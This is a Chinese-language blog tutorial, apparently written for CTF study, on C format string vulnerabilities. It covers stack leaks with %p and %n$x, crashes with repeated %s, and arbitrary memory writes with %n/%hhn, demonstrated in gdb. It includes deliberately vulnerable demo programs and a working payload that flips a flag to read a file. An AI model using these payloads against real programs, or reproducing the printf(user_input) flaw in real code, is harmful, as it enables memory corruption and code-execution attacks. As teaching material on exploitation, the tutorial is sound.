格式化字符串漏洞
arch3rn4r

介绍

首先来看printf,这是常用的格式化字符串函数,以下是常见用法,能利用%s,%d等来替换不同的值

1
2
3
4
printf("Hello!\n");
printf("Hello %s!\n", name);
printf("There are %d lights!", 5);
printf("The average of %d, %d, and %d is %f", 1, 2, 3, float(1+2+3)/3.0);

但是printf是怎么知道有多少个值的?

格式化字符串决定了printf打印的参数类型,那么这些参数在哪里?

比如给定了许多%s,但没有指定参数传递,printf如何打印?

1
printf("Hello %s!\n");

来看看会调用printf时的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
int main(int argc,char** argv)
{
int a=1;
int b=2;
int c=3;
int d=4;
int e=5;
int f=6;
int g=7;
printf("%d %d %d %d %d %d %d\n",a,b,c,d,e,f,g);
return 0;
}

启用gdb,看printf是怎么调用函数的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 161 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from ./do...
(No debugging symbols found in ./do)
------- tip of the day (disable with set show-tips off) -------
Use Pwndbg's config and theme commands to tune its configuration and theme colors!
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000001139 <+0>: push rbp
0x000000000000113a <+1>: mov rbp,rsp
0x000000000000113d <+4>: sub rsp,0x30
0x0000000000001141 <+8>: mov DWORD PTR [rbp-0x24],edi
0x0000000000001144 <+11>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000001148 <+15>: mov DWORD PTR [rbp-0x4],0x1
0x000000000000114f <+22>: mov DWORD PTR [rbp-0x8],0x2
0x0000000000001156 <+29>: mov DWORD PTR [rbp-0xc],0x3
0x000000000000115d <+36>: mov DWORD PTR [rbp-0x10],0x4
0x0000000000001164 <+43>: mov DWORD PTR [rbp-0x14],0x5
0x000000000000116b <+50>: mov DWORD PTR [rbp-0x18],0x6
0x0000000000001172 <+57>: mov DWORD PTR [rbp-0x1c],0x7
0x0000000000001179 <+64>: mov r8d,DWORD PTR [rbp-0x14]
0x000000000000117d <+68>: mov edi,DWORD PTR [rbp-0x10]
0x0000000000001180 <+71>: mov ecx,DWORD PTR [rbp-0xc]
0x0000000000001183 <+74>: mov edx,DWORD PTR [rbp-0x8]
0x0000000000001186 <+77>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001189 <+80>: mov esi,DWORD PTR [rbp-0x1c]
0x000000000000118c <+83>: push rsi
0x000000000000118d <+84>: mov esi,DWORD PTR [rbp-0x18]
0x0000000000001190 <+87>: push rsi
0x0000000000001191 <+88>: mov r9d,r8d
0x0000000000001194 <+91>: mov r8d,edi
0x0000000000001197 <+94>: mov esi,eax
0x0000000000001199 <+96>: lea rax,[rip+0xe64] # 0x2004
0x00000000000011a0 <+103>: mov rdi,rax
0x00000000000011a3 <+106>: mov eax,0x0
0x00000000000011a8 <+111>: call 0x1030 <printf@plt>
0x00000000000011ad <+116>: add rsp,0x10
0x00000000000011b1 <+120>: mov eax,0x0
0x00000000000011b6 <+125>: leave
0x00000000000011b7 <+126>: ret
End of assembler dump.
pwndbg>

在<111>处调用了printf

在此处下断点 b *main +111

1
2
3
pwndbg> b *main+111
Breakpoint 1 at 0x11a8
pwndbg> r

运行后看现在的寄存器里有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> info reg
rax 0x0 0
rbx 0x7fffffffdf28 140737488346920
rcx 0x3 3
rdx 0x2 2
rsi 0x1 1
rdi 0x555555556004 93824992239620
rbp 0x7fffffffde10 0x7fffffffde10
rsp 0x7fffffffddd0 0x7fffffffddd0
r8 0x4 4
r9 0x5 5
r10 0x7fffffffdb40 140737488345920
r11 0x206 518
r12 0x0 0
r13 0x7fffffffdf38 140737488346936
r14 0x7ffff7ffd000 140737354125312
r15 0x555555557dd8 93824992247256
rip 0x5555555551a8 0x5555555551a8 <main+111>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
pwndbg>

对于寄存器的一些解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rax (0x0): 通常用作返回值寄存器。值为 0 表示前一个函数调用返回了 0(通常表示成功,或者是布尔类型的 false)。
rbx (0x7fffffffdf28): rbx 通常是一个保存寄存器,它的值为 140737488346920(内存地址),说明它保存了某个值或指向某个数据。
rcx (0x3): rcx 经常在某些函数调用约定中用于传递参数。当前值为 3,表明它可能作为一个函数的第三个参数或计数值。
rdx (0x2): rdx 通常用于传递第二个函数参数,当前值为 2,表明这个值可能被用作函数调用中的某个参数。
rsi (0x1): rsi 通常是传递第一个函数参数。当前值为 1,很可能是某个函数的标志参数或索引。
rdi (0x555555556004): rdi 经常传递第一个函数参数,当前值为 93824992239620,这是一个内存地址,可能指向函数的输入数据或结构体。
rbp (0x7fffffffde10): rbp 是基址指针,通常用于指向栈帧的基址。当前值指向栈帧顶部,表示函数的局部变量和参数保存在这一段内存区域中。
rsp (0x7fffffffddd0): rsp 是栈指针,表示当前栈的顶部。当前值 0x7fffffffddd0 小于 rbp,符合栈从高地址向低地址增长的特性。
r8 (0x4), r9 (0x5): 这些寄存器在某些调用约定下用于传递函数参数,值分别为 45
r10 (0x7fffffffdb40): 这是一个内存地址,可能用作系统调用的第三个参数或者是某个函数的额外参数。
r11 (0x206): 通常用作标志寄存器。当前值 0x206 可能与系统调用相关。
r12 (0x0): r12 是一个保存寄存器,当前值为 0,表示它可能还未被使用。
r13 (0x7fffffffdf38): 这是一个内存地址,通常保存了一个值或指向某个数据区域。
r14 (0x7ffff7ffd000): 这个地址位于共享库的区域(通常在高地址),可能是指向某个动态库的基地址。
r15 (0x555555557dd8): 这个地址位于程序的代码段或数据段,可能指向某个全局变量或静态数据。

rdi 里是格式化字符串

前面显示了12345,67呢

在这里

1
2
3
4
pwndbg> x/4gx $rsp
0x7fffffffddd0: 0x0000000000000006 0x0000000000000007
0x7fffffffdde0: 0x00007fffffffdf28 0x0000000100000000
pwndbg>

数据依次排列而printf依次读取

格式化字符串漏洞的条件

用户能控制传递给printf的首个参数。格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数

1
2
3
4
int main(int argc, char **argv)
{
printf(argv[1]);
}

格式化字符串在循环中是图灵完备的,以下这个项目基于运行在while循环中的printf,brainfuck

https://github.com/HexHive/printbf

其他格式化字符串函数

  • 用于内部逻辑,而不是输入/输出操作(例如,sprintfsnprintfsscanf

  • 用于日志记录(例如,fprintf

  • 用于输入(例如,scanf

内存泄漏

可以使用的字符串

1
2
3
4
%c: read a char off the stack   泄露一个字节
%d, %i, %x: read an int (4 bytes) off the stack 以十进制整数形式泄露4字节
%x: read an int (4 bytes) in hex 以十六进制整数形式泄露4字节
%s: dereference a pointer and read out bytes until a null byte 解引用指针,并读取任意字节,直到遇到null字节,这些字节可能是可显或不可显

格式化字符串也能使用大小前缀,或叫大小修饰符

1
2
3
4
%x leaks 4 bytes
%hx leaks 2 bytes
%hhx leaks 1 byte
%lx leaks 8 bytes

泄露栈地址

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv) {

char fmt_str[256];

char *secret_value = "my secret value";

strcpy(fmt_str, argv[1]);
strcat(fmt_str, "\n");

printf(fmt_str, 0xBEEF1337);
return 0;
}

运行

1
2
3
4
5
6
7
┌──(pwn㉿kali)-[~/桌面]
└─$ ./do "leak:%p"
leak:0xbeef1337

┌──(pwn㉿kali)-[~/桌面]
└─$ ./do "leak:%p %p %p %P"
leak:0xbeef1337 0x10 (nil) %P

那么如何获取到secret_value值呢,它在栈上,理论上来说只要一直%p就有机会读到一个像栈地址的值

使用$可以读取指定位置的参数

1
%7$x - print the 7th parameter (on the stack)//打印栈上的第七个值

但是我这里是不行的

image

作者这里是能成功的

image

怀疑是不同版本安全策略的问题,栈地址到别的地方去了

一些小技巧总结

  1. 利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。

  2. 利用%s来获取变量所对应地址的内容,只不过有零截断。

  3. 利用%order$x来获取指定参数的值,利用%order$s来获取指定参数对应地址的内容

拒绝服务

用户不能直接提供字符串,而是由他们的行为自动生成。可能导致printf错误解析数据,比如使用%s解析一个指针。

不需要计算出具体的位置,只需要输入一大堆%s,遇到无法解析的就可以使程序产生错误,这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。

内存覆盖(写入数据)

%n会对传入的指针解引用,然后把已输出的字符串的字节数写到该地址,使用%n可以在输出的同时知道字符的长度

1
2
3
int namelength;
printf("%s%n", name, &namelength);
printf("The name was %d bytes long!", namelength);

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv) {

char fmt_str[256];
char buf[256];
int *print_flag=malloc(sizeof(int));
*print_flag=0;

char *secret_value = "my secret value";

strcpy(fmt_str, argv[1]);
strcat(fmt_str, "\n");

printf(fmt_str, 0xBEEF1337);

if(*print_flag){
int fd=open("/catflag",O_RDONLY);
read(fd,buf,256);
write(1,buf,256);
}
return 0;
}

运行

1
2
3
┌──(pwn㉿kali)-[~/桌面]
└─$ ./do '%x'
beef1337

使用gdb进行调试,在main下断点,然后运行

反编译main函数,找到 if(*print_flag)在哪开始比较

image

1
2
3
4
test eax, eax 进行的是按位与运算(AND 操作)。对于寄存器 eax,执行的是 eax & eax。
由于任何值与自身按位与的结果就是自身,所以这条指令的结果要么是非零值,要么是零:
如果 eax 中的值是 0,那么 eax & eax = 0
如果 eax 中的值不是 0,那么 eax & eax ≠ 0

这一段可能是在进行比较,后面有个je可以执行跳转

1
2
3
4
5
6
7
0x0000000000401216 <+144>:   call   0x401060 <printf@plt>
0x000000000040121b <+149>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040121f <+153>: mov eax,DWORD PTR [rax]
0x0000000000401221 <+155>: test eax,eax
0x0000000000401223 <+157>: je 0x401273 <main+237>
0x0000000000401225 <+159>: mov esi,0x0
0x000000000040122a <+164>: lea rax,[rip+0xde3] # 0x402014

eax=rax rax=rbp-0x8

现在输出rbp-0x8 rsp和它们之间的距离

image

当printf向前查找参数时,步长为8字节(一个参数8字节)0x228 /0x8=69,第六个参数是第一个栈上的参数,69+6=75,我们可以认为从printf的角度看,print_flag是它的第75个参数

./do ‘a%75$n’ 可以把a的长度1输入到第75个参数位置上,这样就能达成读取文件的目的

输出了a和一些buf中未初始化的内容

image

其他方法

  • rbp原理

栈上保存的RBP指向前一个栈帧的RBP,能在字符串漏洞中利用,找到第一个保存的RBP,这里的ebp1的距离,ebp1指向一个地址,这里是ebp2,所以可以编写一个漏洞,写入数据到ebp1指向的地址既ebp2,然后就可以找到ebp2的距离(找写入值在第几个参数,再写入数据到ebp2指向的地址。

这样就可以通过ebp1将真正想要写入的地址写到ebp2,再通过ebp2写入数据到我们选定的地址。通过这样的方法,尽管有ASLR,我们还是能写

image

  • 当格式化字符串的缓冲区在栈上时,我们可以控制格式化字符串缓冲区

在printf被调用时,发生了什么

image

格式化字符串下会有一个栈帧(不是紧挨着),这意味着应该能找到从RSP到格式化字符串缓冲区的偏移量,

image

  • 写入更多字节

%n只能写入4字节,但如果想写入更多字节呢

1
2
3
%ln   8bytes
%hn 2bytes
%hhn 1bytes
  • 写入特定字节

可以利用printf的另一个特性——填充 参考printf的man page,命令为:man 3 printf

这里提供了一个比较大的填充,所以会在16进制数前输出大量空白字符,这些都会输出到标准输出。printf的第二个替换符是%1$n,这里表示引用第一个参数既buf,但因为后面有个n,这个替换符将把已输出的字节长度写入buf,

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include<unistd.h>
int main(int argc,char **argv) {

char buf[4];
printf("%1145258561x%1$n", buf);

printf("\n\n\n");
write(1,buf,4);
return 0;
}

数据关系如下:

1
2
HEX  4443 4241
DEC 1,145,258,561

按小端序写入 buf 后,就是41,42,43,44,分别对应ABCD,最终write(1, buf, 4) 输出这 4 个字节

image

但这个非常耗时间,填充了1,145,258,561,这还只是4字节,如果要写入一个8字节地址更费时间

  • 写入更多特定字节

这个方法不需要输入太多填充空白字节

1
2
char buf[4];
printf("%65x%1$hhn%c%2$hhn%c%3$hhn%c%4$hhn", buf, buf+1, buf+2, buf+3);

逐步分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
%65x:
输出 65 个字符(通常是空格),使得当前已经输出的字符数为 65
%1$hhn:
%n 占位符会将目前输出的字符数写入指定的内存地址。
%1$hhn 这里表示将**已经输出的字符数(65)**的低 8 位写入 buf[0](即 buf 的第一个字节)。
结果是 buf[0] 将存储值 65,即字符 'A'(ASCII 码 65)。
%c:
这是一个普通字符输出占位符,用于将参数中的字符输出到终端。
第一个 %c 对应 buf+1,buf+1 的初始值未定义,因此输出的字符是不确定的。
%2$hhn:
将**当前输出的字符数(66)**写入 buf[1](第二个字节)。
结果是 buf[1] 将存储值 66,即字符 'B'(ASCII 码 66)。
%c:
输出 buf+2 的值,未定义,输出的字符不确定。
%3$hhn:
将**当前输出的字符数(67)**写入 buf[2](第三个字节)。
结果是 buf[2] 将存储值 67,即字符 'C'(ASCII 码 67)。
%c:
输出 buf+3 的值,未定义,输出的字符不确定。
%4$hhn:
将**当前输出的字符数(68)**写入 buf[3](第四个字节)。
结果是 buf[3] 将存储值 68,即字符 'D'(ASCII 码 68)。

image

需要注意的是,ABCD是递增的,这样构造格式化字符串相对简单,但如果是要写DCBA这种递减的值呢

  • 动态填充大小

动态填充大小用*指定,它能让你不再依靠硬编码指定填充长度,你可以在另一个参数中指定填充长度,

1
%*10$c%11$n

%*10$c会把第十个参数当作一个数字,表示需要在c前填充的空白字节长度

11$n会将已输出的字节数写入到给定地址,这会把这个计数写到第十一个参数指定的地址。这直接能拷贝内存了(10th的值拷到了11th的地址处)

假设第 10 个参数的值为 100,第 11 个参数指向一个重要的内存地址,比如栈上保存的返回地址或者全局变量的地址。那么这条指令会在输出了 100 个字符之后,将字符数(比如 100)写入第 11 个参数指向的内存地址,这可能导致程序行为异常或者被攻击者控制

但这个用法不太实际,这里不好一次只写一个字节,如果尝试使用这种技术复制整个地址,会输出大量内容。

参考资料

https://ciphersaw.me/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/

https://pwn.college/software-exploitation/format-string-exploits/

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
总字数 39.3k 访客数